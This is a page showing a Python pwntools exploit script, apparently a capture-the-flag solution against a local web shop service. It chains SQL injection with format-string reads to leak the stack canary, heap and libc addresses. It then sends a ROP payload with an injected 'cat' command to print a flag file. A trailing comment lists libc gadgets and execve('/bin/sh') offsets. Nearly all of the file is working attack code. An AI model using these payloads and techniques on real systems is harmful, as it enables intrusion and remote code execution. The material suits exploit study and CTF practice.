-
Notifications
You must be signed in to change notification settings - Fork 0
/
exp2.py
170 lines (148 loc) · 3.99 KB
/
exp2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
from pwn import *
ip = "127.0.0.1"
def build_rop(libc_addr,heap):
rop = ''
rop += p64(libc_addr + 0x0000000000021102)
rop += p64(heap+392)
rop += p64(libc_addr + 283536)
#rop += p64(libc_addr + 0x0000000000021102)
#rop += p64(heap+415)
#rop += p64(libc_addr + 0x000000000003a7a0)
#rop += p64(1)
#0x000000000003a7a0 : mov dword ptr [rdi], 0 ; xor eax, eax ; pop rbx ; ret
#rop += p64(libc_addr + 0x00000000000202e8)
#rop += p64(1)
#rop += p64(libc_addr + 0x0000000000001b92)
#rop += p64(1)
#rop += p64(libc_addr + 586160)
'''
rop += p64(libc_addr + 0x0000000000021102)
rop += p64(heap+392)
rop += p64(libc_addr + 0x6f690)
'''
#rop += p64(libc_addr + 0x6f690)
'''
rop += p64(libc_addr + 0x0000000000021102)
rop += p64(heap+390)
rop += p64(libc_addr + 0x6f690)
'''
#0x0000000000021102 : pop rdi ; ret
#0x00000000000202e8 : pop rsi ; ret
#0x0000000000001b92 : pop rdx ; ret
#rop += p64(libc_addr+0x45216)
# strncpy 0x8d3c0
a = "unhex('%s')"%rop.encode('hex')
return a
p = remote(ip,8080)
buf ="""POST /cart.html?cargo=-1); HTTP/1.1\r
Host: 127.0.0.1\r
User-Agent: ComputerVendor\r
Cookie: nilnilnilnil\r
Connection: close\r
Identity: unknown\r
Content-Length: 10\r
\r
a=1&cargo=1) union select '%41$p' ;# &"""
context.log_level = 'debug'
p.send(buf)
p.recvuntil('</html>')
canary = int(p.recvuntil('00'),16)
print '[+]canary',hex(canary)
p = remote(ip,8080)
buf ="""POST /cart.html?cargo=-1); HTTP/1.1\r
Host: 127.0.0.1\r
User-Agent: ComputerVendor\r
Cookie: nilnilnilnil\r
Connection: close\r
Identity: unknown\r
Content-Length: 10\r
\r
a=1&cargo=1) union select '%44$p' ;# &"""
context.log_level = 'debug'
p.send(buf)
p.recvuntil('</html>')
stack = int(p.recv(14),16)
print '[+]canary',hex(stack)
p = remote(ip,8080)
buf ="""POST /cart.html?cargo=-1); HTTP/1.1\r
Host: 127.0.0.1\r
User-Agent: ComputerVendor\r
Cookie: nilnilnilnil\r
Connection: close\r
Identity: unknown\r
Content-Length: 10\r
\r
a=1&cargo=1) union select '%7$p' ;# &"""
context.log_level = 'debug'
p.send(buf)
p.recvuntil('</html>')
heap = int(p.recv(),16)
#raw_input()
print '[+]heap',hex(heap)
p = remote(ip,8080)
p = remote(ip,8080)
buf ="""POST /cart.html?cargo=-1); HTTP/1.1\r
Host: 127.0.0.1\r
User-Agent: ComputerVendor\r
Cookie: nilnilnilnil\r
Connection: close\r
Identity: unknown\r
Content-Length: 10\r
\r
a=1&cargo=1) union select '%75$p' ;# &"""
context.log_level = 'debug'
p.send(buf)
p.recvuntil('</html>')
libc_addr = int(p.recvuntil('30'),16)-0x20830
print '[+]libc_addr',hex(libc_addr)
p = remote(ip,8080)
buf ="""POST /cart.html?product.html HTTP/1.1\r
Host: 127.0.0.1\r
User-Agent: ComputerVendor\r
Cookie: nilnilnilnil\r
Connection: close\r
Identity: unknown\r
Content-Length: 100\r
\r
a=1&id=1&"""
context.log_level = 'debug'
p.send(buf)
p.recvuntil('</html>')
p = remote(ip,8080)
buf ="""POST /product.html? HTTP/1.1\r
Host: 127.0.0.1\r
User-Agent: ComputerVendor\r
Cookie: nilnilnilnil\r
Connection: close\r
Identity: unknown\r
Content-Length: 100\r
\r
a=1&id=111 union select 'overdueaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa','%s',%s,'cat /opt/xnuca/flag.txt;echo ';#'&"""%(p64(canary).replace('\0','')+'aaaaaaaaaaaaaaaaaaaaaaa',build_rop(libc_addr,heap) )#p64(libc_addr+0x45216).replace('\0',''))
#context.log_level = 'debug'
p.send(buf)
#p.recvuntil('</html>')
#print '[+]',p64(canary)[1:]
#print '[+++]',len(buf)
p.recvuntil('cat /opt/xnuca/flag.txt;echo aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
flag = p.recvline()
print '[+] flag',flag
p.interactive()
'''
0x0000000000021102 : pop rdi ; ret
0x00000000000202e8 : pop rsi ; ret
0x0000000000001b92 : pop rdx ; ret
0x6f690 puts\
0x18cd57 /bin/sh
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''